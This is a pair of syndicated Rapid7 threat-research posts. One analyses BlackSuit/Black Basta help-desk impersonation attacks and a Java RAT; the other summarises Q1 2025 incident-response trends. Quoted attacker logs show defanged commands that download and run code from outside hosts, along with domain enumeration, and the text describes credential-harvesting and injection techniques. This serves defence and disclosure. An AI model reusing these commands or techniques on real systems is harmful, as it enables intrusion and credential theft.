Tag Archives: incident response

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict

Post Syndicated from Tyler McGraw original https://blog.rapid7.com/2025/06/10/blacksuit-continues-social-engineering-attacks-in-wake-of-black-bastas-internal-conflict/

Executive Summary

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict

There has been a significant decrease in social engineering attacks linked to the Black Basta ransomware group since late December 2024. This lapse also included the leaked Black Basta chat logs in February 2025, indicating internal conflict within the group. Despite this, Rapid7 has observed sustained social engineering attacks. Evidence now suggests that BlackSuit affiliates have either adopted Black Basta’s strategy or absorbed members of the group. The developer(s) of a previously identified Java malware family, distributed during social engineering attacks, have now been assessed as likely initial access brokers, having potentially provided historical access for Black Basta and/or FIN7 affiliates.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 1. Confirmed malicious chat requests, Feb 12 through May 7, as observed by Rapid7.

Overview

The first stage of the attack remains the same. The operator will flood targeted users with a high volume of emails, to the order of thousands per hour. This is often accomplished by signing the target user’s email up to many different publicly available mailing lists at once, effectively creating a denial of service attack when each service sends a welcome email. This technique is commonly known as an email bomb.

Following the email bomb, the strategy then splits between operators, though they all ultimately reach out to impacted users pretending to be a member of the targeted organization’s help desk. The majority of operators still perform this step via Microsoft Teams using either a default Azure/Entra tenant (i.e., email account ends with onmicrosoft[.]com) or their own custom domain. In rare cases however, operators, particularly those affiliated with BlackSuit, may forgo Microsoft Teams in favor of calling the targeted users directly with a spoofed number. This strategy, if successful, allows them to circumvent the cloud logging that would be recorded otherwise. For the first time, an explanation of the process written by Black Basta’s leader is also available for a summary of the process, in the context of explaining the attack to a new affiliate:

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 2. Black Basta’s leader explains the social engineering attack. Additional chat logs with translations are available at the Rapid7 GitHub repository.

If the affiliate is able to gain the user’s confidence, they will still primarily attempt to gain access to the user’s asset — and thereby the corporate network — via Quick Assist. Quick Assist is a built-in Windows utility that allows a user to easily grant remote access to their computer to a third party. The utility has been widely abused for social engineering attacks, a trend which continues. BlackSuit affiliates in particular may also direct the user to a malicious domain that hosts a fake Quick Assist login page, for the purpose of harvesting their credentials.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 3. Fake Quick Assist login page, functions as a credential harvester.

In cases where the affiliate is unable to get Quick Assist to work, they will still cycle through a variety of other popular remote access tools (e.g., AnyDesk, ScreenConnect), and if that still doesn’t work, they may simply hang up on the user and move on to the next target.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 4. One of Black Basta’s operators discusses their strategy regarding remote access tools.

Black Basta had at least one caller template/script for this purpose:

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 5. A call script used by Black Basta’s operators. The full script is available at the Rapid7 GitHub repository.

Quickly obtaining reliable access to the target network is still the top priority in the early stages of the attack, typically facilitated by stealing the targeted user’s credentials. In the past this has been achieved, for example, via a QR code sent to the target user via Microsoft Teams or the download and execution of malware which creates a fake Windows authentication prompt.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 6. One of Black Basta’s operators discusses the usage of QR codes for credential harvesting.

In some cases the operator who makes the initial call may also coerce the target user to provide an MFA code while still on the phone. Historically, operators will also attempt to steal VPN configuration files once remote access is established, which can allow them to authenticate directly to the network if the compromised user account is not remediated.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 7. One of Black Basta’s operators discusses using stolen credentials to authenticate directly to the VPN for the targeted environment.

After the affiliate has successfully gained access they will typically transfer and execute malware on the compromised system. The specific malware differs per operator and typically marks the stage in which the access is passed from the caller to an operator within the group who specializes in what they refer to as “pentesting.” To facilitate the access, the operator who calls typically coordinates with the “pentester” to increase the chances of success. At this point in the attack the affiliate who called the user has already hung up under the guise of having fixed the spam problem, and the “pentester” then begins to enumerate the environment. Rapid7 has observed AS-REP and Kerberoasting attacks to be commonly attempted along with Active Directory Certificate Services (ADCS) abuse and other types of brute force password attacks.

Technical Analysis

After initial access has been achieved, the follow-on malware payloads that are downloaded to the compromised system and executed differ, per operator.

Java RAT

A large volume of social engineering incidents handled by Rapid7 have resulted in a Java RAT being downloaded and executed. This tactic was first observed by Rapid7 during October of 2024, and initially reported on in December 2024 in relation to the payload identity.jar. The first samples of the Java RAT observed by Rapid7 only utilized Microsoft OneDrive with optional proxy servers (e.g., SOCKS5) for a more direct C2 connection. The configuration was left in plain text, and did not contain any functionality to dynamically update or encrypt the configuration, primarily functioning only as a RAT via PowerShell session commands.

In the past 6+ months, development of the Java malware payload has continued to add/change numerous features. The Java malware now abuses cloud-based file hosting services provided by both Google and Microsoft to proxy commands through the respective cloud service provider’s (CSP) servers. Over time, the malware developer has shifted away from direct proxy connections (i.e., the config option is left blank or not present), towards OneDrive and Google Sheets, and most recently, towards simply using Google Drive. The logic of the RAT is obfuscated using various types of junk code, control flow obfuscation, and string obfuscation in an attempt to impede analysis.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 8. Obfuscated logic within the Java RAT, where three simple statements become dozens of lines and indentations.

The Java RAT and other payloads are distributed within an archive, the link for which is most often sent to the target user via a pastebin[.]com link. In cases as recent as May of 2025, Rapid7 has observed that the archives are still being publicly hosted on potentially compromised SharePoint instances. The archive and the payloads within are named to fit the initial social engineering lure. For example, in a recent incident, the archive was named Email-Focus-Tool.zip, likely to help prevent suspicion by the targeted user during the attack. The archive contains a .jar file (the Java RAT), a copy of required JDK dependencies contained within a child folder, and at least one .lnk file intended to make the malware easy to execute.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 9. The contents of an archive delivered by the threat actor and a `log.txt` file containing enumeration command output.

The archive is most often extracted to the staging directory C:\ProgramData\ prior to execution. In at least one case, Rapid7 has also observed the operator who initiated the attack outputting system enumeration data to a plaintext file in the same directory, a technique commonly used in the past by Black Basta. Historically, this is information that they share during the initial stages of the attack to assess the network and the type of defenses they may have to deal with. For example, shown above, the operator who initially accessed the compromised asset spawned a command prompt and redirected the output of the ipconfig /all and tasklist commands to the file log.txt.

Most recent versions of the Java RAT have the capability to use Google Sheets to dynamically update the stored C2 configuration, which includes a Google spreadsheet ID (SSID), proxy server IPv4 addresses, application credentials (OneDrive), and/or service account credentials (Google Drive). At least one of the Google Spreadsheets used in this way was observed by Rapid7 to have been taken down by Google, which highlights the potential unreliability of using certain cloud services as a malware traffic proxy.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 10. A Google spreadsheet used by the malware for dynamic configuration updates was taken down by Google.

One of the first actions taken by the malware on launch is to check for an existing configuration in the user’s registry, and if it is not already present, the copy included within the .jar payload, contained within the file config.json, is written there. All samples analyzed by Rapid7 did not have debugging messages removed, allowing them to be viewed by simply executing the .jar file in a console window, as all the debugging messages are written to stdout.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 11. Debug statement output after executing the Java RAT via console.

The registry value name(s) and content for the stored config are both base64 encoded (e.g., HKCU\SOFTWARE\FENokuuTCyVq\JJSUP0CEcUw9PENaNduhsA==), with the decoded configuration content being encrypted using AES-256-ECB. The encryption key is derived from a seed that is stored as a 16 byte string within a file named ek (encryption key), that is contained within the .jar archive. The registry key name, a randomized alphabetic string, is hard coded and stored in a similar manner within the file r_path (registry path). The malware creates a SHA256 hash of the encryption key seed string, and the first 32 bytes of the SHA256 hash are then used as the AES-256-ECB key to encrypt and decrypt the malware’s configuration. Every sample analyzed by Rapid7 contained a unique key seed, though a particular sample is often distributed (within the related archive) to multiple targets for an extended period of time, often around a couple weeks.

After checking and loading the configuration from the registry, local resource, or updated configuration, the RAT will then establish at least one PowerShell session.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 12. Example process tree for the Java RAT.

The stdin and stdout for the PowerShell console are used to process remote commands. The commands sent to the Java RAT are proxied through the respective CSP by the malware creating two specific files within the cloud drive. The name of the files all contain the UUID of the infected asset, which is retrieved at the malware’s startup. There are two prefixes added onto the primary communication files, cf_ and rf_ which contextually appear to stand for create file and receive file, respectively. These two files correspond to the standard output (stdin) and standard input (stdin) of the PowerShell console. The malware uses the input file in two major ways. If the cf_ file (stdin) starts with a specific command string, the content following it will be processed by the malware to execute functionality implemented by the malware developer.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 13. The logic for the `loginform` command within the if-else command processing chain used by the Java RAT. The malware developer did not update one of the debug statements for Google Drive.

Otherwise, the content will be executed as a regular PowerShell command.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 14. The default case in the if-else chain executes the command string via PowerShell.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 15. The ‘execute()’ function within the same class executes the command string as a PowerShell command via jPowerShell.

Command Function
send Send a file from the operator’s machine to the infected machine.
recive Upload a file from the infected machine to the relevant cloud drive. The command string includes a typo made by the developer.
extract Extract a specified file archive.
loginform Present a fake login prompt to the user. Entered credentials are validated locally, and if correct, are uploaded to the operator’s machine through the cloud drive. The username must be specified by the operator.
newconfig Replace the existing configuration with one retrieved from Google Sheets.
checkconfig Check Google Sheets using the SSID to see if an update is available.
startsocks5 Initiate a Socks5 proxy tunnel using python.
steal Attempt to decrypt and steal stored browser database information. (e.g., credentials)
screen Given a supplied URL, download and execute a Java class in memory.

Table 1. Command key for the Java RAT.

The previously seen credential harvesting payload, identity.jar, has now also been integrated into the Java RAT, and instead of writing the entered credentials to a randomly named file within the working directory, the RAT sends it to the cloud drive C2 file that has been designated to the compromised host. This functionality is executed by the operator by sending the loginform (the Java class is abbreviated as “Lf”) command to the RAT via the cloud drive file. After decompiling and deobfuscating the Java code that the module consists of, it can be cleaned up, recompiled, and executed as a standalone program. This allows us to see that the appearance of the module to the targeted user is the same, including the fake “Windows Security” title. A review of the code indicates that it has not changed in any other significant way. The harvester still forces the active window on top and will not let the user close the window without entering their password or forcibly terminating the process.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 16. The credential harvesting window used by the Java RAT.

As a result of the cloud service credentials being stored within the malware payload, and that, for example, Google Drive stores a revision history for every created file by default, it is possible to view the entire history of commands sent to each infected asset, including stdin and stdout.
This gives a unique in console view of what the threat actor saw while they were hands-on-keyboard and executing commands. Command log snippets can be seen below, with identifying information redacted. Once access is established, the operator nearly always verifies the user’s name with the dir command and then uses this information to execute the loginform command, as the malware does not retrieve the executing user’s name on its own.

Infected Host GUID: 4C4C4544-0038-4610-8036-B6C04F394733 2025-04-24T16:53:34.038Z: dir c:\users\ 2025-04-24T16:54:47.967Z: loginform <username> 3 2025-04-24T18:40:36.584Z: net time 2025-04-24T18:42:54.426Z: whoami 2025-04-24T18:43:48.284Z: net user <username> /domain 2025-04-24T18:48:35.089Z: hostname 2025-04-24T18:49:57.182Z: net group "Domain Computers" /domain 2025-04-24T18:50:56.578Z: net time 2025-04-24T19:17:14.259Z: ipconfig /all 2025-04-24T19:19:44.442Z: hostname

Infected Host GUID: 594045B3-008B-4106-8FF4-B850DF6C76D0 2025-04-24T17:20:09.896Z: dir c:\users\ 2025-04-24T17:20:58.179Z: loginform <username> 3 2025-04-24T17:36:52.542Z: wmic qfe list brief 2025-04-24T17:40:13.454Z: net time 2025-04-24T17:41:26.860Z: ping -n 2 <domain_controller_hostname> 2025-04-24T17:49:08.598Z: net group "Domain Computers" /domain > c:\users\public\001.txt

In some cases, Rapid7 has observed a command log gap ranging from around 4 to 12 days, beginning after the RAT is successfully executed and the user’s credentials have been stolen. In some cases an SSH tunnel is also established before activity stops. This type of behavior indicates that the threat actor may not be intending to use the access for themselves, but rather sell it to another group that specializes in fully compromising the network towards various ends (e.g., data theft, extortion, ransomware). Rapid7 has also observed the access being used to test new malware payloads and functionality, rather than progress the compromise within the targeted networks.

Qemu

In a smaller volume of incidents handled by Rapid7, operators have been observed sending the user a Google Drive link to download a zip archive containing QEMU (Quick Emulator) and its dependencies, including a custom made .qcow2 (QEMU Copy-On-Write version 2) virtual disk image. The image contains a Windows 7 Ultimate virtual machine (VM) configured to automatically logon and execute a RunOnce registry key that launches a ScreenConnect installer. In most cases a link to a fake Quick Assist login page (credential harvester) was also delivered to the targeted user by proxy via a self-destructing link service such as 1ty[.]me alongside the Google Drive zip archive link.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 17. Evidence left in the .qcow2 image, including a ScreenConnect installer, registry command, and QDoor malware.

Once the remote session is established in this way, the VM also contains a copy of QDoor, Rust malware that functions as a C2 proxy, which allows the the threat actors to tunnel C2 traffic through a proxy to the VM, on the infected machine in the target user’s environment. In all cases handled by Rapid7, the QEMU executable was renamed (e.g., w.exe/svvhost.exe), and, as the emulator of the VM, it is the source on the infected host machine for all network connections resulting from processes running inside the VM. QDoor malware has been attributed to the BlackSuit ransomware group by ConnectWise.

In more recent cases, Rapid7 has observed the BlackSuit affiliates distributing a much smaller (64MB vs. 8.6GB) .qcow2 image that contains TinyCore Linux. When the image is loaded by QEMU, the bootlocal[.]sh script that is executed upon startup of the TinyCore OS has been set by the threat actors to sleep unless a successful ping is made to one of their servers. Once the ping is successful, an ELF file, 123.out is executed which attempts to connect to a C2 server.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 18. The contents of `bootlocal[.]sh within the TinyCore VM`

Within the command log of the VM image, .ash_history, a wget command is also present which indicates the external server that the 123.out file was originally downloaded to the VM from.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 19. Part of the `.ash_history` command log within the TinyCore VM.

In an alternate tc.qcow2 payload observed by Rapid7, the TinyCore VM boot script will unconditionally execute two ELF files, nossl and ssl. These ELF payloads function as multi-threaded socks proxies, where the ssl copy uses the OpenSSL library to encrypt traffic and ssl sends traffic in plaintext. In both cases, the ELF payloads send registration information to the C2 proxy server on port 53, which is typically used for DNS.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 20. The ELF `nossl` begins execution by setting the C2 IPv4 address. Debugging symbols were left inside the file, which shows the original variable names.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 21. The registration string sent by `nossl` to the C2 proxy server from within the TinyCore VM.

As shown below from the Black Basta chat leaks, BlackSuit has connections with the group, so the adaptation of their typical spear phishing attacks towards these types of social engineering attacks for initial access is unsurprising.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 22. One of Black Basta’s operators (@tinker) discusses their connection to a member of the BlackSuit ransomware group, with Black Basta’s leader (@usernamegg).

Malware Testing

After migrating the Java RAT’s functionality primarily to Google Drive, the threat actor developing the malware also began including the service account they use to test the malware within their own lab environment. The most recent versions of the RAT now also have the command screen which can download and execute a new Java class in memory. The threat actor first tested this in their own lab before trying it in infected devices that they had gained access to, as seen in the command logs below. Despite the name of the command and the name of the Java class that the test payload has (Screenshot), the payloads have varying functionality, but are generally intended to dynamically add new functionality to the RAT. The first test payload observed loads the Java class Screenshot, which then downloads a shellcode blob via a hard coded URL, and injects it into a new java.exe process using the WINAPI calls VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 23. Injection logic implemented by one version of the dynamically loaded Java Screenshot class.

The analyzed test shellcode payload would then perform local PE injection for an embedded Rust PE using NTAPI calls, which for the purposes of the test appears to only spawn a confirmation message box. The Rust PE has an original filename of testapp.exe, a PDB named testapp.pdb, and was originally compiled on 2025-04-10T15:45:28Z. Notably, the Rust PE did have the Windows Graphics Device Interface (GDI) library and several related function imports as dependencies, which could be used to access or manipulate the screen, but did not appear to be fully implemented yet.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 24. Test message box spawned by the Rust executable `testapp.exe`.

The screen command was then successfully used several times in compromised environments, though for different reasons. In one case the operator simply used it as a way to check the external IP address of the infected host. The command log below shows the threat actor testing the screen command for the first recorded time, using the payload with the embedded Rust PE, within their lab, shortly before starting a new spamming/social engineering attack run (during which they would distribute several copies of the malware).

Input@2025-04-23T17:12:32.203Z: screen hxxps://tesets[.]live/download/javacode.txt [email protected]: start shellcode done

In compromised environments however, the functionality was only observed in use as an external IP checking utility per the following command log.

Input@2025-05-07T17:36:59.102Z: screen hxxps://andrewjboyd[.]com/file/jc3_old_version.txt [email protected]: start shellcode done Input@2025-05-07T17:38:30.923Z: type c:\users\public\info.txt [email protected]: <redacted_public_ipv4_address_for_compromised_system>

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 25. One version of the Java Screenshot class implements functionality to retrieve the infected host’s external IP address and save it to a file named `info.txt`.

Rapid7 observed at least one other Rust malware payload, updater.exe being used by the threat actor, which appeared to be a custom loader for the SSH utility, containing the PDB name rust_serverless_killer.pdb. As many of the compromises facilitated by the social engineering attacks have resulted in SSH reverse tunnels being established to provide access, the loader is likely an attempt to evade detections targeting SSH commands by obscuring the related metadata. The SSH executable being loaded has the same functionality however, and as a result the command line arguments that must be passed remain the same.

The threat actor tested a variety of functionality for the Java RAT within their test lab. This includes the zipped python RAT the group would historically upload, decompress and execute (facilitated by the built in send and extract commands), or distribute instead of the Java RAT. The python RAT has a similar command menu to that of the Java RAT. The python RAT has also been previously analyzed by Gdata with similar findings, who refer to it as Anubis (likely based on the source code) and attribute the malware to the FIN7 group.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 26. The python RAT source labels the decrypted payload as “Anubis”.

InputStart@2025-03-28T13:31:01.430Z: checkconfig InputStart@2025-04-01T15:21:49.251Z: recive c:\programdata\video\log.txt InputStart@2025-04-03T17:01:26.653Z: send C:\Users\Public\Libraries\nature.zip extract C:\Users\Public\Libraries\nature.zip\qwerty dir c:\users\ InputStart@2025-03-28T14:01:17.825Z: checkconfig newconfig InputStart@2025-04-01T13:16:18.589Z: send C:\Users\Public\Libraries\nature.zip startsocks5 C:\Users\Public\Libraries\nature\debug.exe C:\Users\Public\Libraries\nature\test.py
Several commands executed in the threat actor’s test lab can be seen above, where the python based payload was delivered via the Java RAT. In several past incidents handled by Rapid7 the name of initial payload archives containing python malware was Cloud_Email_Switch.zip and the script was named conf.py, where the script was executed via a copy of pythonw.exe that had its metadata stripped. The threat actor appears to have now moved to using the Java RAT primarily instead of the python version, although the Java payload retains the functionality to upload, extract, and execute python scripts.

Command Function
killexit Immediately terminates the process.
ip Creates a UDP socket targeting Google’s DNS server (8.8.8[.]8) and connects to it to retrieve the machine’s local IP address.
‘cd ‘ Change the working directory to one specified by the C2.
‘gt ‘ Steal a specified file or directory. Reads and sends the content straight to the C2. If the target is a directory, the script will archive it into a zip file first.
‘up ‘ Upload a file sent by the C2, to the infected host, to a specified file path.
env If the C2 specifies a ‘list’ command, the RAT returns all the existing environmental variables. Otherwise returns a specific variable chosen by the C2.
!cf! Create/update a key (named via hard coded string) in the user’s registry using configuration data sent by the C2. Allows for the malware’s configuration to be dynamically updated.
!tcf! Test C2 addresses supplied by the current C2 in a new config, by creating a TCP socket to attempt to connect to the new address(es) supplied. Returns the result to current C2. Doesn’t update the config.
default If one of the above commands is not present, create a child console process (cmd.exe) to execute the contents received from the C2 and return stdout.

Table 2. Command key for the python RAT.

Among the output of the commands the threat actor ran in their test lab, we can also see a listing of their Downloads directory. The output shows that they have likely been developing Rust malware since at least 2024-09-21. The test lab is most likely also the environment in which they compiled testapp.exe as Rust executables contain cargo references which include the user’s name, for example: C:\Users\User\.cargo\registry\src\<truncated>. In contrast, updater.exe, the Rust SSH loader previously mentioned, references the user lucak.

BlackSuit Continues Social Engineering Attacks in Wake of Black Basta’s Internal Conflict
Figure 27. A listing of the Downloads directory on an asset within the malware developer’s test lab.

Finally, while setting up the testing environment, the threat actor made changes to several Google Drive files from what appears to be a personal Gmail account: palomo************[@]gmail[.]com. These changes were visible as numerous versions of the Java RAT were distributed with the threat actor’s test lab Google Drive service account credentials included.

Mitigation Guidance

Rapid7 recommends taking the following precautions to limit exposure to these types of attacks:

Restrict the ability for external users to contact users via Microsoft Teams to the greatest extent possible. This can be done for example by blocking all external domains or creating a white/black list. Microsoft Teams will allow all external requests by default. For more information, see this reference.
Standardize remote management tools within the environment. For unapproved tools, block known hashes and domains to prevent usage. Hash blocking can be done, for example, via Windows AppLocker or an endpoint protection solution.
Provide user awareness training regarding the social engineering campaign. Familiarize users with official help desk and support procedures to enable them to spot and report suspicious requests.
Standardize VPN access. Traffic from known low cost VPN solutions should be blocked at a firewall level if there is no business use case.
Require Multi-Factor Authentication (MFA) across the environment. Single factor authentication facilitates a large number of compromises. For example, If an attacker steals a user’s credentials and acquires the network’s VPN configuration, no MFA on the VPN allows them to easily access the environment.
Regularly update software and firmware. Ransomware groups like Black Basta are known to purchase exploits for initial access.

Rapid7 Customers

InsightIDR, Managed Detection and Response, and Managed Threat Complete customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this activity:

Detections
Suspicious Chat Request – Potential Social Engineering Attempt
Initial Access – Potential Social Engineering Session Initiated Following Chat Request
Attacker Technique – Base64 String Added to HKCU Registry Key
Suspicious Process – LNK Executes PowerShell via JAR
Suspicious Process – QEMU Loads Disk From Staging Directory
Credential Access – Steal or Forge Kerberos tickets
Anomaly Detection – Failed AS-REP Roasting Attack
Non-Approved Application – Remote Management and Monitoring (RMM) Tools

MITRE ATT&CK Techniques

Tactic Technique Procedure
Reconnaissance T1591: Gather Victim Org Information Operators utilize publicly available information to identify target contact details and financial information.
Resource Development T1587.001: Develop Capabilities: Malware The threat actors are actively developing new malware to distribute.
Impact T1498: Network Denial of Service The threat actors overwhelm email protection solutions with spam.
Impact T1486: Data Encrypted for Impact The threat actors historically either deploy ransomware after compromising a network, or sell the access to a ransomware group.
Initial Access T1566.004: Phishing: Spearphishing Voice The threat actors call impacted users and pretend to be a member of the target organization’s IT team to gain remote access.
Defense Evasion T1140: Deobfuscate/Decode Files or Information The threat actors decrypt some zip archive payloads with a password, onto infected hosts.
Defense Evasion T1055.002: Process Injection: Portable Executable Injection Some payloads executed by the threat actors utilize local PE injection.
Defense Evasion T1620: Reflective Code Loading Some payloads executed by the threat actors load and execute shellcode.
Credential Access T1649: Steal or Forge Authentication Certificates The threat actors have abused ADCS services to acquire certificates.
Credential Access T1056.001: Input Capture: Keylogging The threat actors run an executable that can harvest the user’s credentials.
Credential Access T1558.003: Steal or Forge Kerberos Tickets: Kerberoasting The threat actors have performed Kerberoasting after gaining initial access.
Credential Access T1558.004: Steal or Forge Kerberos Tickets: AS-REP Roasting The threat actors have performed AS-REP roasting attacks after gaining initial access.
Discovery T1033: System Owner/User Discovery The threat actors enumerate asset and user information within the environment after gaining access.
Command and Control T1572: Protocol Tunneling The threat actors use SSH reverse tunnels to provide/proxy remote access.
Command and Control T1219: Remote Access Software The threat actors have used QuickAssist, AnyDesk, ScreenConnect, TeamViewer, Level, and more, to facilitate remote access.

Indicators of Compromise

All indicators of compromise are available at the Rapid7 GitHub repository.

Rapid7 Q1 2025 Incident Response Findings

Post Syndicated from Chris Boyd original https://blog.rapid7.com/2025/06/04/rapid7-q1-2025-incident-response-findings/

Rapid7 Q1 2025 Incident Response Findings

Rapid7’s Q1 2025 incident response data highlights several key initial access vector (IAV) trends, shares salient examples of incidents investigated by the Rapid7 Incident Response (IR) team, and digs into threat data by industry as well as some of the more commonly seen pieces of malware appearing in incident logs.

Is having no MFA solution in place still one of the most appealing vulnerabilities for threat actors? Will you see the same assortment of malware regardless of whether you work in business services or media and communications? And how big a problem could one search engine query possibly be, anyway?

The answer to that last question is “very,” as it turns out. As for the rest…

Initial access vectors

Below, we highlight the key movers and shakers for IAVs across cases investigated by Rapid7’s IR team. While you’ll notice a fairly even split among several vectors such as exposed remote desktop protocol (RDP) services and SEO poisoning, one in particular is clearly the leader of the pack where compromising organizations is concerned: stolen credentials to valid/active accounts with no multi-factor authentication (MFA) enabled.

Rapid7 Q1 2025 Incident Response Findings

Valid account credentials — with no MFA in place to protect the organization should they be misused — are still far and away the biggest stumbling block for organizations investigated by the Rapid7 IR team, occurring in 56% of all incidents this first quarter.

Exposed RDP services accounted for 6% of incidents as the IAV, yet they were abused by attackers more generally in 44% of incidents. This tells us that third parties remain an important consideration in an organization’s security hygiene.

Valid accounts / no MFA: Top of the class

Rapid7 regularly bangs the drum for tighter controls where valid accounts and MFA are concerned. As per the key findings, 56% of all incidents in Q1 2025 involved valid accounts / no MFA as the initial access vector. In fact, there’s been very little change since Q3 2024, and as good as no difference between the last two quarters:

Rapid7 Q1 2025 Incident Response Findings

Vulnerability exploitation: Cracks in the armor

Rapid7’s IR services team observed several vulnerabilities used, or likely to have been used, as an IAV in Q1 2025. CVE-2024-55591 for example, the IAV for an incident in manufacturing, is a websocket-based race condition authentication bypass affecting Fortinet’s FortiOS and FortiProxy flagship appliances. Successful exploitation results in the ability to execute arbitrary CLI console commands as the super_admin user. The CVE-2024-55591 advisory was published at the beginning of 2025, and it saw widespread exploitation in the wild.

One investigation revealed attackers using the above flaw to exploit vulnerable firewall devices and create local and administrator accounts with legitimate-looking names (e.g., references to “Admin”, “I.T.”, “Support”). This allowed access to firewall dashboards, which may have contained useful information about the devices’ users, configurations, and network traffic. Policies were created which allowed for leveraging of remote VPN services, and the almost month-long dwell time observed in similar incidents may suggest initial access broker (IAB) activity, or a possible intended progression to data exfiltration and ransomware.

Exposed RMM tooling: A path to ransomware

As noted above, 6% of IAV incidents were a result of exposed remote monitoring and management (RMM) tooling. RMMs, used to remotely manage and access devices, are often used to gain initial access, or form part of the attack chain leading to ransomware.

One investigation revealed a version of SimpleHelp vulnerable to several critical privilege escalation and remote code execution vulnerabilities, which included CVE-2024-57726, CVE-2024-57727, and CVE-2024-57728.

These CVEs target the SimpleHelp remote access solution. Exploiting CVE-2024-57727 permits an unauthenticated attacker to leak SimpleHelp “technician” password hashes. If one is cracked, the attacker can log-in as a remote-access technician. Lastly, the attacker can exploit CVE-2024-57726 and CVE-2024-57728 to elevate to SimpleHelp administrator and trigger remote code execution, respectively. CVE-2024-57727 was added to CISA KEV in February 2025.

The vulnerable RMM solution was used to gain initial access and threat actors used PowerShell to create Windows Defender exclusions, with the ultimate goal of deploying INC Ransomware on target systems.

SEO poisoning: When a quick search leads to disaster

SEO poisoning, once the scourge of search engines everywhere, may not be high on your list of priorities. However, it still has the potential to wreak havoc on a network. Here, the issue isn’t so much rogue entries in regular search results, but instead the paid sponsored ads directly above typical searches. Note how many sponsored results sit above the genuine site related to this incident:

Rapid7 Q1 2025 Incident Response Findings
Multiple sponsored searches above the official (and desired) search result

This investigation revealed a tale of two search results, where one led to a genuine download of a tool designed to monitor virtual environments, and the other led to malware. When faced with both options, a split-second decision went with the latter and what followed was an escalating series of intrusion, data exfiltration and—eventually—ransomware.

Rapid7 Q1 2025 Incident Response Findings
An imitation website offering malware disguised as genuine software

On the same day of initial compromise, the attacker moved laterally using compromised credentials via RDP, installing several RMM tools such as AnyDesk and SplashTop. It is likely that the threat actor searched for insecurely stored password files and targeted password managers. They also attempted to modify and/or disable various security tools in order to evade detection, and create a local account to enable persistence and avoid domain-wide password resets.

An unauthorized version of WinSCP was used to exfiltrate a few hundred GB of sensitive company data from several systems, and with this mission accomplished only a few tasks remained. The first: attempting to inhibit system recovery by tampering with the Volume Shadow Copy Service (VSS), clearing event logs, deleting files, and also attempting to target primary backups for data destruction. The second: deployment of Qilin ransomware and a blackmail note instructing the victim to communicate via a TOR link lest the data be published to their leak site.

Qilin ranked 7 in our top ransomware groups of Q1 2025 for leak post frequency, racking up 111 posts from January through March. Known for double-extortion attacks across healthcare, manufacturing, and financial sectors, Qilin (who, despite their name, are known not to be Chinese speakers, but rather Russian-speaking) has also recently been seen deployed by North Korean threat actors Moonstone Sleet.

Attacker behavior observations

Bunnies everywhere: Tracking a top malware threat

BunnyLoader, the Malware as a Service (MaaS) loader possessing a wealth of capabilities including clipboard and credential theft, keylogging, and the ability to deploy additional malware, is one of the most prolific presences Rapid7 has seen this first quarter of 2025. In many cases, it’s also daisy-chained to many of the other payloads and tactics which make repeated appearances.

To really drive this message home: BunnyLoader is the most observed payload across almost every industry we focused on. Whether we’re talking manufacturing, healthcare, business services or finance, it’s typically well ahead of the rest of the pack. Here are our findings across the 5 most targeted industries of Q1:

Rapid7 Q1 2025 Incident Response Findings

BunnyLoader is in pole position not only for the 5 industries shown above, but across 12 of 13 industries overall, with 40% of all incidents observed involving this oft-updated malware.

Just over half of that 40% total involved a fake CAPTCHA (commonly used for the purpose of victims executing malicious code), with malicious / compromised sites appearing in a quarter of BunnyLoader cases. Rogue documents, which may be booby-trapped with malware or pave the way for potential phishing attacks, bring up the rear at just 9% of all BunnyLoader appearances recorded. First offered for sale in 2023 for a lifetime-use cost of $250, its continued development and large range of features make it an attractive proposition for rogues operating on a budget.

Targeted organizations: The manufacturing magnet

Manufacturing organizations were targeted in more than 24% of incidents the Rapid7 IR team observed, by far the most targeted industry in Q1 based on both Rapid7’s ransomware analytics and IR team observations. The chart below compares Rapid7’s industry-wide data (comprising a wide range of payloads and tactics) with ransomware leak post specific data. In both cases, manufacturing is a fair way ahead of other industries; this reflects its status as one of the most popular targets for ransomware groups over the last couple of years.

